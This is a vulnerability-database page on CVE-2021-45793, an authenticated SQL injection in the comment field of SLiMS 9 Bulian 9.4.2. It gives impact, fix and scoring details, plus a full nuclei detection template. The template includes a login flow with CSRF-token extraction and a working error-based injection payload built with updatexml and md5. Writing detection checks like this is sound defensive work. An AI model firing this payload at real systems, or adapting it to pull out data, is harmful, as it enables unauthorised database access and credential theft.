HexBrain

Browse / CVEs / CVE-2021-45793

CVE-2021-45793· slims / senayan library management system· CWE-89

Slims9 Bulian 9.4.2 - SQL Injection

highseverity
7.5CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.

Impact

Authenticated attackers can exploit SQL injection in the comment field to extract database contents including user credentials and sensitive library data.

Fix

Upgrade to Slims9 Bulian version 9.4.3 or later.

How to confirm it

Send: GET /index.php?p=member&destination= ; POST /index.php?p=member&destination=
Send: GET /index.php?p=show_detail&id=1
Send: POST /index.php?p=show_detail&id=1
Positive when: contains "c8c605999f3d8352d7bb792cf3fd" AND status 200

Run it with nuclei: nuclei -id CVE-2021-45793 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-45793

info:
  name: Slims9 Bulian 9.4.2 - SQL Injection
  author: nblirwn
  severity: high
  description: |
    Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.
  impact: |
    Authenticated attackers can exploit SQL injection in the comment field to extract database contents including user credentials and sensitive library data.
  remediation: |
    Upgrade to Slims9 Bulian version 9.4.3 or later.
  reference:
    - https://github.com/slims/slims9_bulian/issues/123
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45793
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45793
    cwe-id: CWE-89
    epss-score: 0.04519
    epss-percentile: 0.91607
    cpe: cpe:2.3:a:slims:senayan_library_management_system:9.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: slims
    product: senayan_library_management_system
  tags: cve2021,cve,slims,sqli,vuln

variables:
  num: "999999999"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /index.php?p=member&destination= HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /index.php?p=member&destination= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        memberID={{username}}&memberPassWord={{password}}&_csrf_token_{{csrf_token}}={{csrf_token2}}&logMeIn=Login

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - 'name="_csrf_token_([a-f0-9]+)"'
        internal: true

      - type: regex
        name: csrf_token2
        part: body
        group: 1
        regex:
          - 'value="([a-f0-9]+)"/>'
        internal: true

  - raw:
      - |
        GET /index.php?p=show_detail&id=1 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token3
        part: body
        group: 1
        regex:
          - 'value="([a-f0-9]+)"/>'
        internal: true

  - raw:
      - |
        POST /index.php?p=show_detail&id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        comment=%27and%2F**%2F1%3D%28updatexml%281%2Cconcat%280x3a%2Cmd5%28{{num}}%29%29%2C1%29%29%2F**%2Fand%2F**%2F%271%27%3D%271&SaveComment=Save+comment&_csrf_token_{{csrf_token}}={{csrf_token3}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fd"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from